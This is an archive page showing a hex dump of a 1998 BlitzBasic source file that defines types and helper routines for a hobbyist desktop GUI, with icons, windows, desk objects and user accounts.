home *** CD-ROM | disk | FTP | other *** search
Unknown | 1998-07-27 | 21.9 KB |
open in:
MacOS 8.1
|
Win98
|
DOS
view JSON data
|
view as text
This file was not able to be converted.
This format is not currently supported by dexvert.
Confidence | Program | Detection | Match Type | Support
|
---|
100%
| file
| data
| default
| |
100%
| gt2
| Kopftext: ' ;'
| default (weak)
|
|
hex view+--------+-------------------------+-------------------------+--------+--------+
|00000000| 20 20 20 20 3b 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d | ;===|========|
|00000010| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000020| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000030| 3d 3d 3d 3d 3d 3d 3d 3d | 00 20 20 20 20 3b 20 44 |========|. ; D|
|00000040| 65 70 65 6e 64 61 6e 63 | 69 65 73 00 20 20 20 20 |ependanc|ies. |
|00000050| 3b 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |;=======|========|
|00000060| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000070| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000080| 3d 3d 3d 3d 00 00 20 20 | 20 20 80 12 20 22 43 74 |====.. | .. "Ct|
|00000090| 72 6c 4c 69 62 2e 62 62 | 32 22 00 20 20 20 20 80 |rlLib.bb|2". .|
|000000a0| 12 20 22 46 69 6c 65 4c | 69 62 2e 62 62 32 22 00 |. "FileL|ib.bb2".|
|000000b0| 20 20 20 20 80 12 20 22 | 54 6f 6f 6c 4c 69 62 2e | .. "|ToolLib.|
|000000c0| 62 62 32 22 00 20 20 20 | 20 80 12 20 22 47 72 61 |bb2". | .. "Gra|
|000000d0| 70 68 69 63 73 4c 69 62 | 2e 62 62 32 22 00 00 00 |phicsLib|.bb2"...|
|000000e0| 20 20 20 20 3b 3d 3e 20 | 54 68 69 73 20 69 73 20 | ;=> |This is |
|000000f0| 74 68 65 20 69 6e 74 65 | 72 6e 61 6c 20 42 6c 69 |the inte|rnal Bli|
|00000100| 74 7a 42 61 73 69 63 20 | 66 6f 6e 74 20 73 74 72 |tzBasic |font str|
|00000110| 75 63 74 75 72 65 2e 00 | 20 20 20 20 3b 00 20 20 |ucture..| ;. |
|00000120| 20 20 80 01 2e 69 6e 74 | 75 69 66 6f 6e 74 00 20 | ...int|uifont. |
|00000130| 20 20 20 20 20 20 20 20 | 20 20 20 5f 66 6f 6e 74 | | _font|
|00000140| 6e 61 6d 65 2e 6c 20 20 | 20 20 20 20 20 3b 30 30 |name.l | ;00|
|00000150| 20 50 6f 69 6e 74 65 72 | 20 74 6f 20 6e 61 6d 65 | Pointer| to name|
|00000160| 20 6f 66 20 66 6f 6e 74 | 00 20 20 20 20 20 20 20 | of font|. |
|00000170| 20 20 20 20 20 5f 79 73 | 69 7a 65 2e 77 20 20 20 | _ys|ize.w |
|00000180| 20 20 20 20 20 20 20 3b | 30 34 20 68 65 69 67 68 | ;|04 heigh|
|00000190| 74 20 6f 66 20 66 6f 6e | 74 00 20 20 20 20 20 20 |t of fon|t. |
|000001a0| 20 20 20 20 20 20 5f 70 | 61 64 2e 77 20 20 20 20 | _p|ad.w |
|000001b0| 20 20 20 20 20 20 20 20 | 3b 30 36 00 20 20 20 20 | |;06. |
|000001c0| 20 20 20 20 20 20 20 20 | 5f 66 6f 6e 74 2e 6c 20 | |_font.l |
|000001d0| 20 20 20 20 20 20 20 20 | 20 20 3b 30 38 20 70 6f | | ;08 po|
|000001e0| 69 6e 74 65 72 20 74 6f | 20 47 46 58 20 54 65 78 |inter to| GFX Tex|
|000001f0| 74 46 6f 6e 74 20 73 74 | 72 75 63 74 20 6e 75 6c |tFont st|ruct nul|
|00000200| 6c 3d 6e 6f 6e 65 00 20 | 20 20 20 20 20 20 20 20 |l=none. | |
|00000210| 20 20 20 5f 70 61 64 32 | 2e 62 5b 34 5d 20 20 20 | _pad2|.b[4] |
|00000220| 20 20 20 20 20 3b 31 32 | 00 20 20 20 20 20 20 20 | ;12|. |
|00000230| 20 20 20 20 20 80 02 20 | 80 01 00 00 20 20 20 20 | .. |.... |
|00000240| 3b 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |;=======|========|
|00000250| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000260| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000270| 3d 3d 3d 3d 00 20 20 20 | 20 3b 3e 52 6f 6f 74 20 |====. | ;>Root |
|00000280| 54 79 70 65 73 00 20 20 | 20 20 3b 3d 3d 3d 3d 3d |Types. | ;=====|
|00000290| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000002a0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000002b0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 00 00 |========|======..|
|000002c0| 20 20 20 20 23 4c 65 67 | 61 6c 5f 49 63 6f 6e 20 | #Leg|al_Icon |
|000002d0| 20 20 20 20 20 20 3d 24 | 66 66 63 30 30 31 30 30 | =$|ffc00100|
|000002e0| 00 20 20 20 20 23 4c 65 | 67 61 6c 5f 44 65 73 6b |. #Le|gal_Desk|
|000002f0| 4f 62 6a 65 63 74 20 3d | 24 66 66 63 30 30 31 30 |Object =|$ffc0010|
|00000300| 31 00 20 20 20 20 23 4c | 65 67 61 6c 5f 44 65 73 |1. #L|egal_Des|
|00000310| 6b 57 69 6e 64 6f 77 20 | 3d 24 66 66 63 30 30 31 |kWindow |=$ffc001|
|00000320| 30 32 00 20 20 20 20 23 | 4c 65 67 61 6c 5f 44 65 |02. #|Legal_De|
|00000330| 73 6b 54 6f 70 20 20 20 | 20 3d 24 66 66 63 30 30 |skTop | =$ffc00|
|00000340| 31 30 33 00 20 20 20 20 | 23 4c 65 67 61 6c 5f 55 |103. |#Legal_U|
|00000350| 73 65 72 20 20 20 20 20 | 20 20 3d 20 24 30 39 66 |ser | = $09f|
|00000360| 36 34 37 39 30 00 00 00 | 20 20 20 20 3b 3d 3e 20 |64790...| ;=> |
|00000370| 54 68 65 73 65 20 61 72 | 65 20 75 73 65 64 20 69 |These ar|e used i|
|00000380| 6e 73 69 64 65 20 64 65 | 73 6b 6f 62 6a 65 63 74 |nside de|skobject|
|00000390| 2c 20 74 6f 20 64 65 63 | 6c 61 72 65 00 20 20 20 |, to dec|lare. |
|000003a0| 20 3b 20 20 20 77 68 61 | 74 20 6b 69 6e 64 20 6f | ; wha|t kind o|
|000003b0| 66 20 6f 62 6a 65 63 74 | 73 20 74 68 65 79 20 61 |f object|s they a|
|000003c0| 72 65 2e 20 57 68 61 74 | 20 74 68 65 79 20 70 6f |re. What| they po|
|000003d0| 69 6e 74 20 74 6f 2e 00 | 20 20 20 20 3b 00 20 20 |int to..| ;. |
|000003e0| 20 20 23 4c 69 6e 6b 46 | 6f 72 6d 5f 44 72 69 76 | #LinkF|orm_Driv|
|000003f0| 65 20 20 20 3d 20 31 00 | 20 20 20 20 23 4c 69 6e |e = 1.| #Lin|
|00000400| 6b 46 6f 72 6d 5f 46 6f | 6c 64 65 72 20 20 3d 20 |kForm_Fo|lder = |
|00000410| 32 00 20 20 20 20 23 4c | 69 6e 6b 46 6f 72 6d 5f |2. #L|inkForm_|
|00000420| 50 72 6f 67 72 61 6d 20 | 3d 20 33 00 20 20 20 20 |Program |= 3. |
|00000430| 23 4c 69 6e 6b 46 6f 72 | 6d 5f 46 69 6c 65 20 20 |#LinkFor|m_File |
|00000440| 20 20 3d 20 34 00 00 20 | 20 20 20 3b 3d 3e 20 54 | = 4.. | ;=> T|
|00000450| 68 65 73 65 20 64 65 66 | 69 6e 65 20 74 68 65 20 |hese def|ine the |
|00000460| 64 65 66 61 75 6c 74 20 | 77 69 64 74 68 20 26 20 |default |width & |
|00000470| 68 65 69 67 68 74 20 6f | 66 00 20 20 20 20 3b 20 |height o|f. ; |
|00000480| 20 20 74 68 65 20 73 79 | 73 74 65 6d 20 69 63 6f | the sy|stem ico|
|00000490| 6e 73 2e 00 20 20 20 20 | 3b 00 20 20 20 20 23 49 |ns.. |;. #I|
|000004a0| 63 6f 6e 5f 43 6f 6c 57 | 69 64 74 68 20 3d 20 36 |con_ColW|idth = 6|
|000004b0| 34 20 20 3b 74 68 65 20 | 73 69 7a 65 20 6f 66 20 |4 ;the |size of |
|000004c0| 74 68 65 20 49 63 6f 6e | 27 73 20 61 72 65 61 20 |the Icon|'s area |
|000004d0| 28 6f 6e 20 63 6c 65 61 | 6e 75 70 21 29 00 20 20 |(on clea|nup!). |
|000004e0| 20 20 23 49 63 6f 6e 5f | 52 6f 77 48 65 69 67 68 | #Icon_|RowHeigh|
|000004f0| 74 3d 20 35 34 00 00 00 | 20 20 20 20 3b 3d 3e 20 |t= 54...| ;=> |
|00000500| 54 68 65 73 65 20 64 65 | 63 6c 61 72 65 20 74 68 |These de|clare th|
|00000510| 65 20 68 69 65 72 61 63 | 79 20 6f 66 20 75 73 65 |e hierac|y of use|
|00000520| 72 20 6c 65 76 65 6c 73 | 2e 00 20 20 20 20 3b 00 |r levels|.. ;.|
|00000530| 20 20 20 20 3b 00 20 20 | 20 20 23 55 73 65 72 5f | ;. | #User_|
|00000540| 53 65 63 72 65 74 20 20 | 3d 20 31 30 00 20 20 20 |Secret |= 10. |
|00000550| 20 23 55 73 65 72 5f 4d | 61 73 74 65 72 20 20 3d | #User_M|aster =|
|00000560| 20 33 00 20 20 20 20 23 | 55 73 65 72 5f 46 72 69 | 3. #|User_Fri|
|00000570| 65 6e 64 6c 79 3d 20 32 | 00 20 20 20 20 23 55 73 |endly= 2|. #Us|
|00000580| 65 72 5f 47 75 65 73 74 | 20 20 20 3d 20 31 00 00 |er_Guest| = 1..|
|00000590| 00 00 20 20 20 20 80 01 | 2e 49 63 6f 6e 00 20 20 |.. ..|.Icon. |
|000005a0| 20 20 20 20 20 20 20 20 | 20 20 56 61 6c 69 64 61 | | Valida|
|000005b0| 74 69 6f 6e 20 20 2e 6c | 00 20 20 20 20 20 20 20 |tion .l|. |
|000005c0| 20 20 20 20 20 4e 61 6d | 65 20 20 20 20 20 20 20 | Nam|e |
|000005d0| 20 2e 62 5b 32 35 36 5d | 00 20 20 20 20 20 20 20 | .b[256]|. |
|000005e0| 20 20 20 20 20 53 68 61 | 70 65 4e 75 6d 62 65 72 | Sha|peNumber|
|000005f0| 20 2e 6c 00 20 20 20 20 | 20 20 20 20 20 20 20 20 | .l. | |
|00000600| 2a 4e 65 78 74 49 63 6f | 6e 20 20 20 2e 49 63 6f |*NextIco|n .Ico|
|00000610| 6e 00 20 20 20 20 20 20 | 20 20 20 20 20 20 80 02 |n. | ..|
|00000620| 20 80 01 00 00 00 20 20 | 20 20 80 01 2e 44 65 73 | ..... | ...Des|
|00000630| 6b 4f 62 6a 65 63 74 00 | 20 20 20 20 20 20 20 20 |kObject.| |
|00000640| 20 20 20 20 56 61 6c 69 | 64 61 74 69 6f 6e 20 20 | Vali|dation |
|00000650| 20 20 20 2e 6c 00 20 20 | 20 20 20 20 20 20 20 20 | .l. | |
|00000660| 20 20 53 65 6c 65 63 74 | 65 64 20 20 20 20 20 20 | Select|ed |
|00000670| 20 2e 62 00 20 20 20 20 | 20 20 20 20 20 20 20 20 | .b. | |
|00000680| 54 65 78 74 20 20 20 20 | 20 20 20 20 20 20 20 2e |Text | .|
|00000690| 62 5b 32 35 36 5d 00 20 | 20 20 20 20 20 20 20 20 |b[256]. | |
|000006a0| 20 20 20 4c 69 6e 6b 46 | 6f 72 6d 20 20 20 20 20 | LinkF|orm |
|000006b0| 20 20 2e 6c 20 20 20 20 | 20 20 20 20 20 20 20 20 | .l | |
|000006c0| 3b 77 68 61 74 20 6b 69 | 6e 64 20 6f 66 20 6c 69 |;what ki|nd of li|
|000006d0| 6e 6b 20 69 73 20 69 74 | 3f 20 64 72 69 76 65 3f |nk is it|? drive?|
|000006e0| 20 64 69 72 3f 20 66 69 | 6c 65 3f 20 65 78 65 3f | dir? fi|le? exe?|
|000006f0| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 54 61 72 |. | Tar|
|00000700| 67 65 74 50 61 74 68 20 | 20 20 20 20 2e 62 5b 35 |getPath | .b[5|
|00000710| 31 32 5d 20 20 20 20 20 | 20 3b 77 68 65 72 65 20 |12] | ;where |
|00000720| 64 6f 65 73 20 69 74 20 | 6c 69 65 3f 00 20 20 20 |does it |lie?. |
|00000730| 20 20 20 20 20 20 20 20 | 20 2a 49 63 6f 6e 20 20 | | *Icon |
|00000740| 20 20 20 20 20 20 20 20 | 2e 49 63 6f 6e 20 20 20 | |.Icon |
|00000750| 20 20 20 20 20 20 3b 69 | 74 73 20 69 63 6f 6e 00 | ;i|ts icon.|
|00000760| 20 20 20 20 20 20 20 20 | 20 20 20 20 48 65 6c 70 | | Help|
|00000770| 54 65 78 74 20 20 20 20 | 20 20 20 2e 62 5b 35 31 |Text | .b[51|
|00000780| 32 5d 00 20 20 20 20 20 | 20 20 20 20 20 20 20 4f |2]. | O|
|00000790| 77 6e 65 72 50 61 74 68 | 20 20 20 20 20 20 2e 62 |wnerPath| .b|
|000007a0| 5b 35 31 32 5d 20 20 20 | 20 20 20 3b 6f 77 6e 65 |[512] | ;owne|
|000007b0| 72 3f 20 77 68 65 72 65 | 20 69 73 20 69 74 21 00 |r? where| is it!.|
|000007c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 58 70 6f 73 | | Xpos|
|000007d0| 20 20 20 20 20 20 20 20 | 20 20 20 2e 6c 00 20 20 | | .l. |
|000007e0| 20 20 20 20 20 20 20 20 | 20 20 59 70 6f 73 20 20 | | Ypos |
|000007f0| 20 20 20 20 20 20 20 20 | 20 2e 6c 00 20 20 20 20 | | .l. |
|00000800| 20 20 20 20 20 20 20 20 | 2a 4e 65 78 74 44 65 73 | |*NextDes|
|00000810| 6b 4f 62 6a 65 63 74 2e | 44 65 73 6b 4f 62 6a 65 |kObject.|DeskObje|
|00000820| 63 74 00 20 20 20 20 20 | 20 20 20 20 20 20 20 80 |ct. | .|
|00000830| 02 20 80 01 00 00 00 20 | 20 20 20 80 01 2e 44 65 |. ..... | ...De|
|00000840| 73 6b 57 69 6e 64 6f 77 | 00 20 20 20 20 20 20 20 |skWindow|. |
|00000850| 20 20 20 20 20 56 61 6c | 69 64 61 74 69 6f 6e 20 | Val|idation |
|00000860| 20 20 20 20 20 2e 6c 00 | 20 20 20 20 20 20 20 20 | .l.| |
|00000870| 20 20 20 20 4e 61 76 69 | 67 61 74 65 20 20 20 20 | Navi|gate |
|00000880| 20 20 20 20 2e 62 00 20 | 20 20 20 20 20 20 20 20 | .b. | |
|00000890| 20 20 20 57 69 6e 64 6f | 77 49 44 20 20 20 20 20 | Windo|wID |
|000008a0| 20 20 20 2e 6c 00 20 20 | 20 20 20 20 20 20 20 20 | .l. | |
|000008b0| 20 20 57 69 6e 64 6f 77 | 50 61 74 68 20 20 20 20 | Window|Path |
|000008c0| 20 20 2e 62 5b 34 30 39 | 36 5d 00 20 20 20 20 20 | .b[409|6]. |
|000008d0| 20 20 20 20 20 20 20 2a | 46 69 6c 65 4c 69 73 74 | *|FileList|
|000008e0| 20 20 20 20 20 20 20 2e | 46 6f 6c 64 65 72 00 20 | .|Folder. |
|000008f0| 20 20 20 20 20 20 20 20 | 20 20 20 2a 46 69 72 73 | | *Firs|
|00000900| 74 44 65 73 6b 4f 62 6a | 65 63 74 2e 44 65 73 6b |tDeskObj|ect.Desk|
|00000910| 4f 62 6a 65 63 74 00 20 | 20 20 20 20 20 20 20 20 |Object. | |
|00000920| 20 20 20 2a 4e 65 78 74 | 44 65 73 6b 57 69 6e 64 | *Next|DeskWind|
|00000930| 6f 77 20 2e 44 65 73 6b | 57 69 6e 64 6f 77 00 20 |ow .Desk|Window. |
|00000940| 20 20 20 20 20 20 20 20 | 20 20 20 80 02 20 80 01 | | .. ..|
|00000950| 00 00 00 20 20 20 20 80 | 01 2e 55 73 65 72 00 20 |... .|..User. |
|00000960| 20 20 20 20 20 20 20 20 | 20 20 20 56 61 6c 69 64 | | Valid|
|00000970| 61 74 69 6f 6e 20 20 20 | 20 2e 6c 00 20 20 20 20 |ation | .l. |
|00000980| 20 20 20 20 20 20 20 20 | 55 73 65 72 6e 61 6d 65 | |Username|
|00000990| 20 20 20 20 20 20 2e 62 | 5b 31 36 5d 00 20 20 20 | .b|[16]. |
|000009a0| 20 20 20 20 20 20 20 20 | 20 50 61 73 73 77 6f 72 | | Passwor|
|000009b0| 64 20 20 20 20 20 20 2e | 62 5b 31 36 5d 00 20 20 |d .|b[16]. |
|000009c0| 20 20 20 20 20 20 20 20 | 20 20 55 73 65 72 54 79 | | UserTy|
|000009d0| 70 65 20 20 20 20 20 20 | 2e 62 00 20 20 20 20 20 |pe |.b. |
|000009e0| 20 20 20 20 20 20 20 43 | 61 6e 44 65 6c 65 74 65 | C|anDelete|
|000009f0| 20 20 20 20 20 2e 62 00 | 20 20 20 20 20 20 20 20 | .b.| |
|00000a00| 20 20 20 20 43 61 6e 4d | 6f 76 65 20 20 20 20 20 | CanM|ove |
|00000a10| 20 20 2e 62 00 20 20 20 | 20 20 20 20 20 20 20 20 | .b. | |
|00000a20| 20 43 61 6e 43 6f 70 79 | 20 20 20 20 20 20 20 2e | CanCopy| .|
|00000a30| 62 00 20 20 20 20 20 20 | 20 20 20 20 20 20 2a 4e |b. | *N|
|00000a40| 65 78 74 55 73 65 72 20 | 20 20 20 20 2e 55 73 65 |extUser | .Use|
|00000a50| 72 00 20 20 20 20 20 20 | 20 20 20 20 20 20 80 02 |r. | ..|
|00000a60| 20 80 01 00 00 00 20 20 | 20 20 80 01 2e 44 65 73 | ..... | ...Des|
|00000a70| 6b 74 6f 70 00 20 20 20 | 20 20 20 20 20 20 20 20 |ktop. | |
|00000a80| 20 42 67 43 6f 6c 6f 72 | 20 20 20 20 20 20 20 20 | BgColor| |
|00000a90| 20 2e 6c 00 20 20 20 20 | 20 20 20 20 20 20 20 20 | .l. | |
|00000aa0| 49 63 6f 6e 73 4c 6f 61 | 64 65 64 20 20 20 20 20 |IconsLoa|ded |
|00000ab0| 2e 6c 00 20 20 20 20 20 | 20 20 20 20 20 20 20 2a |.l. | *|
|00000ac0| 46 69 72 73 74 55 73 65 | 72 20 20 20 20 20 20 2e |FirstUse|r .|
|00000ad0| 55 73 65 72 00 20 20 20 | 20 20 20 20 20 20 20 20 |User. | |
|00000ae0| 20 2a 46 69 72 73 74 49 | 63 6f 6e 20 20 20 20 20 | *FirstI|con |
|00000af0| 20 2e 49 63 6f 6e 00 20 | 20 20 20 20 20 20 20 20 | .Icon. | |
|00000b00| 20 20 20 2a 46 69 72 73 | 74 44 65 73 6b 57 69 6e | *Firs|tDeskWin|
|00000b10| 64 6f 77 2e 44 65 73 6b | 57 69 6e 64 6f 77 00 20 |dow.Desk|Window. |
|00000b20| 20 20 20 20 20 20 20 20 | 20 20 20 80 02 20 80 01 | | .. ..|
|00000b30| 00 00 20 20 20 20 3b 3d | 3d 3d 3d 3d 3d 3d 3d 3d |.. ;=|========|
|00000b40| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000b50| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000b60| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 00 20 20 20 20 3b |========|==. ;|
|00000b70| 3e 20 52 6f 6f 74 20 52 | 65 6c 69 61 62 69 6c 69 |> Root R|eliabili|
|00000b80| 74 79 00 20 20 20 20 3b | 3d 3d 3d 3d 3d 3d 3d 3d |ty. ;|========|
|00000b90| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000ba0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000bb0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 00 00 20 20 20 |========|===.. |
|00000bc0| 20 80 09 2e 6c 20 20 52 | 65 6c 69 61 62 6c 65 5f | ...l R|eliable_|
|00000bd0| 49 63 6f 6e 7b 2a 74 68 | 69 73 2e 49 63 6f 6e 7d |Icon{*th|is.Icon}|
|00000be0| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000bf0| 20 80 0b 20 2a 74 68 69 | 73 5c 56 61 6c 69 64 61 | .. *thi|s\Valida|
|00000c00| 74 69 6f 6e 3d 23 4c 65 | 67 61 6c 5f 49 63 6f 6e |tion=#Le|gal_Icon|
|00000c10| 20 80 21 20 80 09 20 80 | 07 20 bc 0e 00 20 20 20 | .! .. .|. ... |
|00000c20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 80 09 20 | | .. |
|00000c30| 80 07 20 bc 0f 00 20 20 | 20 20 20 20 20 20 20 20 |.. ... | |
|00000c40| 20 20 20 20 20 20 80 02 | 20 80 09 00 00 20 20 20 | ..| .... |
|00000c50| 20 80 09 2e 6c 20 20 52 | 65 6c 69 61 62 6c 65 5f | ...l R|eliable_|
|00000c60| 44 65 73 6b 4f 62 6a 65 | 63 74 7b 2a 74 68 69 73 |DeskObje|ct{*this|
|00000c70| 2e 44 65 73 6b 4f 62 6a | 65 63 74 7d 00 20 20 20 |.DeskObj|ect}. |
|00000c80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 80 0b 20 | | .. |
|00000c90| 2a 74 68 69 73 5c 56 61 | 6c 69 64 61 74 69 6f 6e |*this\Va|lidation|
|00000ca0| 3d 23 4c 65 67 61 6c 5f | 44 65 73 6b 4f 62 6a 65 |=#Legal_|DeskObje|
|00000cb0| 63 74 20 80 21 20 80 09 | 20 80 07 20 bc 0e 00 20 |ct .! ..| .. ... |
|00000cc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 | | .|
|00000cd0| 09 20 80 07 20 bc 0f 00 | 20 20 20 20 20 20 20 20 |. .. ...| |
|00000ce0| 20 20 20 20 20 20 20 20 | 80 02 20 80 09 00 00 20 | |.. .... |
|00000cf0| 20 20 20 80 09 2e 6c 20 | 20 52 65 6c 69 61 62 6c | ...l | Reliabl|
|00000d00| 65 5f 44 65 73 6b 57 69 | 6e 64 6f 77 7b 2a 74 68 |e_DeskWi|ndow{*th|
|00000d10| 69 73 2e 44 65 73 6b 57 | 69 6e 64 6f 77 7d 00 20 |is.DeskW|indow}. |
|00000d20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 | | .|
|00000d30| 0b 20 2a 74 68 69 73 5c | 56 61 6c 69 64 61 74 69 |. *this\|Validati|
|00000d40| 6f 6e 3d 23 4c 65 67 61 | 6c 5f 44 65 73 6b 57 69 |on=#Lega|l_DeskWi|
|00000d50| 6e 64 6f 77 20 80 21 20 | 80 09 20 80 07 20 bc 0e |ndow .! |.. .. ..|
|00000d60| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000d70| 20 80 81 2e 6c 20 23 30 | 2c 64 30 00 20 20 20 20 | ...l #0|,d0. |
|00000d80| 20 20 20 20 20 20 20 20 | 20 20 20 20 80 09 20 80 | | .. .|
|00000d90| 07 20 bc 0f 00 20 20 20 | 20 20 20 20 20 20 20 20 |. ... | |
|00000da0| 20 20 20 20 20 80 02 20 | 80 09 00 00 20 20 20 20 | .. |.... |
|00000db0| 80 09 2e 6c 20 20 52 65 | 6c 69 61 62 6c 65 5f 55 |...l Re|liable_U|
|00000dc0| 73 65 72 7b 2a 74 68 69 | 73 2e 55 73 65 72 7d 00 |ser{*thi|s.User}.|
|00000dd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000de0| 80 0b 20 2a 74 68 69 73 | 5c 56 61 6c 69 64 61 74 |.. *this|\Validat|
|00000df0| 69 6f 6e 20 3d 20 23 4c | 65 67 61 6c 5f 55 73 65 |ion = #L|egal_Use|
|00000e00| 72 20 80 21 20 80 09 20 | 80 07 20 bc 0e 00 20 20 |r .! .. |.. ... |
|00000e10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 80 09 | | ..|
|00000e20| 20 80 07 20 bc 0f 00 20 | 20 20 20 20 20 20 20 20 | .. ... | |
|00000e30| 20 20 20 20 20 20 20 80 | 02 20 80 09 00 00 20 20 | .|. .... |
|00000e40| 20 20 3b 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d | ;=====|========|
|00000e50| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000e60| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000e70| 3d 3d 3d 3d 3d 3d 00 20 | 20 20 20 3b 3e 20 53 65 |======. | ;> Se|
|00000e80| 74 75 70 20 74 68 65 20 | 63 6f 72 65 20 64 65 73 |tup the |core des|
|00000e90| 6b 74 6f 70 20 73 74 72 | 75 63 74 75 72 65 2e 00 |ktop str|ucture..|
|00000ea0| 20 20 20 20 3b 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d | ;===|========|
|00000eb0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000ec0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000ed0| 3d 3d 3d 3d 3d 3d 3d 3d | 00 00 20 20 20 20 2a 43 |========|.. *C|
|00000ee0| 6f 72 65 2e 44 65 73 6b | 74 6f 70 20 3d 20 a6 08 |ore.Desk|top = ..|
|00000ef0| 28 80 2f 2e 44 65 73 6b | 74 6f 70 2c 30 7c 36 35 |(./.Desk|top,0|65|
|00000f00| 35 33 36 29 00 20 20 20 | 20 80 0b 20 2a 43 6f 72 |536). | .. *Cor|
|00000f10| 65 00 20 20 20 20 20 20 | 20 a5 99 20 2a 43 6f 72 |e. | .. *Cor|
|00000f20| 65 2c 80 2f 2e 44 65 73 | 6b 74 6f 70 2c 30 00 20 |e,./.Des|ktop,0. |
|00000f30| 20 20 20 80 22 00 20 20 | 20 20 20 20 20 80 02 00 | .". | ...|
|00000f40| 20 20 20 20 80 c0 00 00 | 20 20 20 20 3b 3d 3d 3d | ....| ;===|
|00000f50| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000f60| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000f70| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000f80| 00 20 20 20 20 3b 3e 20 | 52 6f 6f 74 20 43 72 65 |. ;> |Root Cre|
|00000f90| 61 74 69 6f 6e 00 20 20 | 20 20 3b 3d 3d 3d 3d 3d |ation. | ;=====|
|00000fa0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000fb0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000fc0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 00 00 |========|======..|
|00000fd0| 20 20 20 20 80 09 2e 6c | 20 20 43 72 65 61 74 65 | ...l| Create|
|00000fe0| 49 63 6f 6e 7b 6e 61 6d | 65 24 2c 53 68 61 70 65 |Icon{nam|e$,Shape|
|00000ff0| 4e 75 6d 62 65 72 2e 6c | 7d 00 20 20 20 20 20 20 |Number.l|}. |
|00001000| 20 20 20 20 20 20 20 20 | 20 20 2a 6e 65 77 2e 49 | | *new.I|
|00001010| 63 6f 6e 20 3d 20 a6 08 | 28 80 2f 2e 49 63 6f 6e |con = ..|(./.Icon|
|00001020| 2c 30 7c 36 35 35 33 36 | 29 00 20 20 20 20 20 20 |,0|65536|). |
|00001030| 20 20 20 20 20 20 20 20 | 20 20 80 0b 20 2a 6e 65 | | .. *ne|
|00001040| 77 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |w. | |
|00001050| 20 20 20 20 20 a5 99 20 | 2a 6e 65 77 2c 80 2f 2e | .. |*new,./.|
|00001060| 49 63 6f 6e 2c 30 00 20 | 20 20 20 20 20 20 20 20 |Icon,0. | |
|00001070| 20 20 20 20 20 20 20 20 | 20 20 2a 6e 65 77 5c 56 | | *new\V|
|00001080| 61 6c 69 64 61 74 69 6f | 6e 20 3d 20 23 4c 65 67 |alidatio|n = #Leg|
|00001090| 61 6c 5f 49 63 6f 6e 00 | 20 20 20 20 20 20 20 20 |al_Icon.| |
|000010a0| 20 20 20 20 20 20 20 20 | 20 20 20 2a 6e 65 77 5c | | *new\|
|000010b0| 53 68 61 70 65 4e 75 6d | 62 65 72 3d 20 53 68 61 |ShapeNum|ber= Sha|
|000010c0| 70 65 4e 75 6d 62 65 72 | 00 20 20 20 20 20 20 20 |peNumber|. |
|000010d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 2a 6e 65 77 | | *new|
|000010e0| 5c 4e 65 78 74 49 63 6f | 6e 20 20 20 3d 20 bc 0f |\NextIco|n = ..|
